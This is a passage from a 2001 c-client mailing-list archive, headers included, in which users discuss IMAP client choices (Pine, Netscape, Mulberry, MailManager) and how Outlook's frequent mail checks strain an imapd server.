(list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CISGH21367; Fri, 12 Oct 2001 11:28:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CIRvD16866; Fri, 12 Oct 2001 11:27:57 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CHohN110768 for ; Fri, 12 Oct 2001 10:51:02 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Oct 12 10:48:11 2001 -0700 Received: from ganymede.localdomain (24.247.50.30.mon.mi.chartermi.net [24.247.50.30]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CHmAu02024 for ; Fri, 12 Oct 2001 10:48:10 -0700 Received: from developerschoice.net (localhost.localdomain [127.0.0.1]) by ganymede.localdomain (8.11.2/8.11.2) with ESMTP id f9CHl8W01547; Fri, 12 Oct 2001 13:47:08 -0400 Message-Id: <3BC72C9B.7020902@developerschoice.net> Date: Fri, 12 Oct 2001 13:47:07 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Breitner (Mailing Lists)" To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = References: <95308C82-BF2C-11D5-BE71-000A278CC960@mrtoads.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What about Netscape 6.1? When I gave up Windows and started using Linux on the desktop, I struggled to find a decent IMAP client. Up to 6.1, I never liked Netscape, but the current release of Messenger works great and the interface is consistent across Windows and X. I use it to manage 6 different IMAP accounts, mixed with SSL/TLS on some of them. Mark Edwards wrote: > Please evangelize! I tried accessing imap with Eudora on OS9 and it > just crashed. Also, its multi-account functionality is pretty weak if > you ask me. What is there that does a decent job of checking multiple > imap accounts from a single interface? > > On Friday, October 12, 2001, at 08:44 AM, Sebastian Hagedorn wrote: > >> -- Mark Edwards is rumored to have mumbled on >> Donnerstag, 11. Oktober 2001 11:30 Uhr -0700 regarding imapd + >> Outlook =: >> >>> I know Outlook sucks, but I >>> honestly don't see any other viable alternative for Mac OS9 right now. >> >> >> Why? I don't want to evangelize, but there are alternatives... >> > > -- > Mark Edwards > San Francisco, CA > MarkEdwards@mac.com > From pinedev@shivax2.cac.washington.edu Fri Oct 12 12:22:58 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 12:22:55 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CJMbF27183 for ; Fri, 12 Oct 2001 12:22:47 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Oct 12 12:21:54 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CJLrH23457; Fri, 12 Oct 2001 12:21:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CJKY928102; Fri, 12 Oct 2001 12:20:34 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CJ1IN25430 for ; Fri, 12 Oct 2001 12:01:19 -0700 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 12 12:01:16 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rodriguez@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CJ1Gw09756 for ; Fri, 12 Oct 2001 12:01:16 -0700 Message-Id: Date: Fri, 12 Oct 2001 11:54:01 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Hagedorn Cc: Mark Edwards , c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: <1644706.1002916369@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If you don't absolutely insist upon a GUI, Pine is another IMAP client that gets IMAP right. What's more, it's based upon c-client, and is developed by very bright people who work in the same group as the author of c-client (and inventor of IMAP)...in fact, a lot of c-client work is driven by Pine. Pine runs on just about every form of UNIX you can imagine as well as 32-bit Windows. There was a DOS/16-bit Windows port, but that was abandoned after version 3.96 of Pine. There's also a GUI for the old NeXT computers called MailManager that the author of c-client wrote in 1989. Not much work on it has been done since 1991 other than to make it build with modern c-client, although it does have a very basic MIME capability. It may be possible to port it to Mac OS X. I use MailManager and Pine interchangably throughout my day. From pinedev@shivax2.cac.washington.edu Fri Oct 12 15:48:17 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 15:48:12 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CMlcF19053 for ; Fri, 12 Oct 2001 15:47:58 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Oct 12 15:47:28 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CMlSH31135; Fri, 12 Oct 2001 15:47:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CMheZ23126; Fri, 12 Oct 2001 15:43:40 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CL4pN124894 for ; Fri, 12 Oct 2001 14:04:51 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Fri Oct 12 14:04:50 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CL4ou32377 for ; Fri, 12 Oct 2001 14:04:50 -0700 Received: from [192.168.1.101] ([66.122.112.171]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f9CL4gE03962 for ; Fri, 12 Oct 2001 14:04:43 -0700 (PDT) Message-Id: Date: Fri, 12 Oct 2001 14:04:41 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Subject: Re: imapd + Outlook = In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN on 10/12/01 11:54 AM, Mark Crispin at MRC@CAC.Washington.EDU wrote: > If you don't absolutely insist upon a GUI, Pine is another IMAP client that > gets IMAP right. What's more, it's based upon c-client, and is developed by > very bright people who work in the same group as the author of c-client (and > inventor of IMAP)...in fact, a lot of c-client work is driven by Pine. Can anyone elaborate on what might be happening when checking with Outlook in my case? Presumably it isn't normal behavior for imapd to stress out a system with 512MB ram when 20-40 connections are active. What is Outlook doing to cause trouble? Again I don't see more imapd instances than expected, usually only 14-20. I've heard that Outlook is known for opening tons of imap connections and causing problems, but I don't see evidence of this. Is this perhaps just a general issue with imap? Should I not be checking mail every 5 minutes like that? I'd love to figure out exactly what the problem is, so I can make sure there isn't something wrong on the server end. I am tempted to blame Microsoft for this, but I don't want to do it blindly. -- Mark Edwards Engineer Mr. Toad's San Francisco From pinedev@shivax2.cac.washington.edu Fri Oct 12 15:51:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 15:51:23 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CMpLF25869 for ; Fri, 12 Oct 2001 15:51:21 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Oct 12 15:47:12 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CMlCH31123; Fri, 12 Oct 2001 15:47:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CMiRD25694; Fri, 12 Oct 2001 15:44:27 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CMW5N195896 for ; Fri, 12 Oct 2001 15:32:05 -0700 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Oct 12 15:32:04 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CMW4Q16422 for ; Fri, 12 Oct 2001 15:32:04 -0700 Received: from [192.168.1.101] ([66.122.112.171]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f9CMW3E04328 for ; Fri, 12 Oct 2001 15:32:03 -0700 (PDT) Message-Id: Date: Fri, 12 Oct 2001 15:32:02 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Subject: Re: imapd + Outlook = In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN As I recall, the problem with Netscape for my situation is that sets certain global parameters for all accounts, such as Name. We have 8 people checking email at shared stations, and we require that there's no logging out and in each time someone wants to check their mail. There needs to be a way of having totally independent accounts accessible at the same time, with no shared parameters between them. Outlook is good at this. Netscape does seem adequate as a personal email program. However, that's not how we're set up. on 10/12/01 10:47 AM, Jeff Breitner (Mailing Lists) at zptr@developerschoice.net wrote: > What about Netscape 6.1? When I gave up Windows and started using Linux > on the desktop, I struggled to find a decent IMAP client. > > Up to 6.1, I never liked Netscape, but the current release of Messenger > works great and the interface is consistent across Windows and X. I use > it to manage 6 different IMAP accounts, mixed with SSL/TLS on some of them. > > Mark Edwards wrote: > >> Please evangelize! I tried accessing imap with Eudora on OS9 and it >> just crashed. Also, its multi-account functionality is pretty weak if >> you ask me. What is there that does a decent job of checking multiple >> imap accounts from a single interface? >> >> On Friday, October 12, 2001, at 08:44 AM, Sebastian Hagedorn wrote: >> >>> -- Mark Edwards is rumored to have mumbled on >>> Donnerstag, 11. Oktober 2001 11:30 Uhr -0700 regarding imapd + >>> Outlook =: >>> >>>> I know Outlook sucks, but I >>>> honestly don't see any other viable alternative for Mac OS9 right now. >>> >>> >>> Why? I don't want to evangelize, but there are alternatives... -- Mark Edwards Engineer Mr. Toad's San Francisco From pinedev@shivax2.cac.washington.edu Fri Oct 12 17:05:29 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 12 Oct 2001 17:05:28 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9D05RF32684 for ; Fri, 12 Oct 2001 17:05:27 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Oct 12 17:02:17 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9D02HH01355; Fri, 12 Oct 2001 17:02:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9D00oD25128; Fri, 12 Oct 2001 17:00:50 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9CNAWN184280 for ; Fri, 12 Oct 2001 16:10:33 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Fri Oct 12 16:10:32 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (den@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9CNAWQ27305 for ; Fri, 12 Oct 2001 16:10:32 -0700 Message-Id: Date: Fri, 12 Oct 2001 16:01:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 12 Oct 2001 14:04:41 -0700, Mark Edwards wrote: > Can anyone elaborate on what might be happening when checking with Outlook > in my case? It's a long and sad story, and one which is still evolving as we learn more about what's going on with it. Let's just say that Outlook is known to have major issues. It is very easy to configure Outlook to beat the hell out of a server. Outlook Express is a completely different program which is a much better IMAP citizen, although it too is easily configured into a bad apple. More recent versions of OE are worse than previous ones. > Presumably it isn't normal behavior for imapd to stress out a > system with 512MB ram when 20-40 connections are active. No, it isn't. > I've heard that Outlook is known for opening > tons of imap connections and causing problems, but I don't see evidence of > this. Check the logs to see if there are transient IMAP connections. I think that what you'll see is not "lots of sessions at one time", but "lots of sessions starting up and dying right away." > Should I not be checking > mail every 5 minutes like that? Well, you certainly should not be checking new mail in 300+ mailboxes every 5 minutes, running up a total of over 13,000 IMAP sessions in just a few hours. [Local incident today at UW from an Outlook user] Unfortunately, that's what Outlook will do if you're not careful. Good clients, such as Pine, don't do this sort of bad thing. From pinedev@shivax2.cac.washington.edu Sat Oct 13 19:17:17 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 13 Oct 2001 19:17:16 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9E2HFF24255 for ; Sat, 13 Oct 2001 19:17:15 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Sat Oct 13 19:17:11 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9E2HAH30844; Sat, 13 Oct 2001 19:17:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9E2Gt907068; Sat, 13 Oct 2001 19:16:56 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9E1jDm43624 for ; Sat, 13 Oct 2001 18:45:14 -0700 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Sat Oct 13 14:19:10 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (demo@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9DLJ9Q24120 for ; Sat, 13 Oct 2001 14:19:09 -0700 Message-Id: Date: Sat, 13 Oct 2001 14:18:01 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: <82242.1002979373@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sat, 13 Oct 2001 13:22:53 +0200, Sebastian Hagedorn wrote: > > There's also a GUI for the old NeXT computers called MailManager > I've wondered about that, but the source wasn't available anymore last time > I looked. MailManager source is the same place that it's always been: ftp://ftp.cac.washington.edu/mail/next/MailManager.tar.Z From pinedev@shivax2.cac.washington.edu Sat Oct 13 19:18:27 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 13 Oct 2001 19:18:26 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9E2IPF31264 for ; Sat, 13 Oct 2001 19:18:26 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Sat Oct 13 19:18:15 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9E2IEH30858; Sat, 13 Oct 2001 19:18:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9E2F0928338; Sat, 13 Oct 2001 19:15:01 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9DDbDN76670 for ; Sat, 13 Oct 2001 06:37:17 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Sat Oct 13 04:24:47 2001 -0700 Received: from mailrelay.netcologne.de (mailrelay.netcologne.de [194.8.194.96]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9DBOkU27915 for ; Sat, 13 Oct 2001 04:24:46 -0700 Received: from [0.0.0.0] (dial-195-14-226-182.netcologne.de [195.14.226.182]) by mailrelay.netcologne.de (8.11.6/8.11.6) with ESMTP id f9DBOb718057; Sat, 13 Oct 2001 13:24:38 +0200 (MEST) Message-Id: <82242.1002979373@localhost> Date: Sat, 13 Oct 2001 13:22:53 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- Mark Crispin is rumored to have mumbled on=20 Freitag, 12. Oktober 2001 11:54 Uhr -0700 regarding Re: imapd + Outlook = =3D: > There's also a GUI for the old NeXT computers called MailManager that the > author of c-client wrote in 1989. Not much work on it has been done = since > 1991 other than to make it build with modern c-client, although it does > have a very basic MIME capability. It may be possible to port it to Mac > OS X. I've wondered about that, but the source wasn't available anymore last time = I looked. I'm not sure if I'd be able to make the necessary fixes for it to = compile under OS X, but I might give it a shot... Pine is great for terminals and I've used it a lot, but I prefer a GUI=20 mailer when I can get one. -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ Winter is coming. From pinedev@shivax2.cac.washington.edu Tue Oct 16 06:02:55 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Oct 2001 06:02:55 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9GD2rF03321 for ; Tue, 16 Oct 2001 06:02:54 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Oct 16 06:02:50 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9GD2nH16447; Tue, 16 Oct 2001 06:02:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9GD2G026728; Tue, 16 Oct 2001 06:02:17 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9G8R1K142152 for ; Tue, 16 Oct 2001 01:27:01 -0700 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Oct 16 01:25:34 2001 -0700 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9G8PXu05616 for ; Tue, 16 Oct 2001 01:25:33 -0700 Received: from news.rrz.Uni-Koeln.DE (news.rrz.Uni-Koeln.DE [134.95.100.202]) by mail1.rrz.Uni-Koeln.DE (8.9.3/8.9.3) with ESMTP id KAA06486; Tue, 16 Oct 2001 10:25:28 +0200 (MET DST) Message-Id: <41450000.1003220745@news.rrz.Uni-Koeln.DE> Date: Tue, 16 Oct 2001 10:25:45 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="==========48000114==========" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --==========48000114========== Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Saturday, October 13, 2001 14:18:01 -0700 Mark Crispin=20 wrote: > On Sat, 13 Oct 2001 13:22:53 +0200, Sebastian Hagedorn wrote: >> > There's also a GUI for the old NeXT computers called MailManager >> I've wondered about that, but the source wasn't available anymore last >> time I looked. > > MailManager source is the same place that it's always been: > > ftp://ftp.cac.washington.edu/mail/next/MailManager.tar.Z You're absolutely right. I don't know where I'd been looking. Anyway, the=20 main obstacle right now appears to be that the current incarnation of=20 Interface Builder can't handle the NIBs. I'll try to find some advice from=20 the NextStep community... -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ Winter is coming. --==========48000114========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (SunOS) Comment: For info see http://www.gnupg.org iD8DBQE7y+8LGXsGmU0QW0URAuAUAKDoRnsrL0zolp59w/7DFeBaJOcGrACcDKae DFq1kvD1GuZbWrJNqXjJ1hI= =Vjae -----END PGP SIGNATURE----- --==========48000114==========-- From pinedev@shivax2.cac.washington.edu Tue Oct 16 16:30:00 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Oct 2001 16:28:15 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9GNQTF26290 for ; Tue, 16 Oct 2001 16:27:03 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Oct 16 16:26:14 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9GNQEH06941; Tue, 16 Oct 2001 16:26:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9GNPl937816; Tue, 16 Oct 2001 16:25:47 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9GNGMN18390 for ; Tue, 16 Oct 2001 16:16:35 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Oct 16 16:16:18 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9GNGHu15509 for ; Tue, 16 Oct 2001 16:16:17 -0700 Received: from [192.168.1.103] ([192.168.1.1]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f9GNElI08924; Tue, 16 Oct 2001 16:14:47 -0700 (PDT) Message-Id: Date: Tue, 16 Oct 2001 16:14:45 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Sebastian Hagedorn Cc: Subject: Re: imapd + Outlook = In-Reply-To: <1644706.1002916369@localhost> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mulberry is indeed quite a nice email client, feature-wise. The only thing I don't like about it is that its multiple-windows, so every message and every mailbox is a new window. If Mulberry had the option to work in a single window with panes, it would be everything I need. Unfortunately, the multiple window thing turns into a mess pretty quickly. Since I turned off checking every 5 minutes in OE, the problem seem to have subsided. Perhaps Microsoft will release a version of OE that solves these issues, though I doubt it. I think everything they release is going to be for OS X from now on. Thanks for the suggestion. Everyone who has trouble finding a decent GUI IMAP client should check out Mulberry. on 10/12/01 10:52 AM, Sebastian Hagedorn at Hagedorn@spinfo.uni-koeln.de wrote: > Well, since you've asked... my favorite IMAP client is Mulberry from > Cyrusoft (www.cyrusoft.com). It's actually the only GUI mailer I know that > gets IMAP right. The only disadvantages are that it's not free (but there > is a demo version) and that the UI is not very pretty. OE definitely looks > nicer... -- Mark Edwards Engineer Mr. Toad's San Francisco From pinedev@shivax2.cac.washington.edu Wed Oct 17 13:54:41 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Oct 2001 13:54:07 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9HKpWK27940 for ; Wed, 17 Oct 2001 13:53:08 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Oct 17 13:49:36 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9HKnZH10426; Wed, 17 Oct 2001 13:49:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9HKlx024602; Wed, 17 Oct 2001 13:48:00 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9HKjON45792 for ; Wed, 17 Oct 2001 13:45:24 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Oct 17 13:45:24 2001 -0700 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9HKjNU25177 for ; Wed, 17 Oct 2001 13:45:23 -0700 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.10.2/8.10.2) with ESMTP id f9HKjNf16541 for ; Wed, 17 Oct 2001 13:45:23 -0700 Message-Id: Date: Wed, 17 Oct 2001 13:45:23 -0700 (PDT) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: 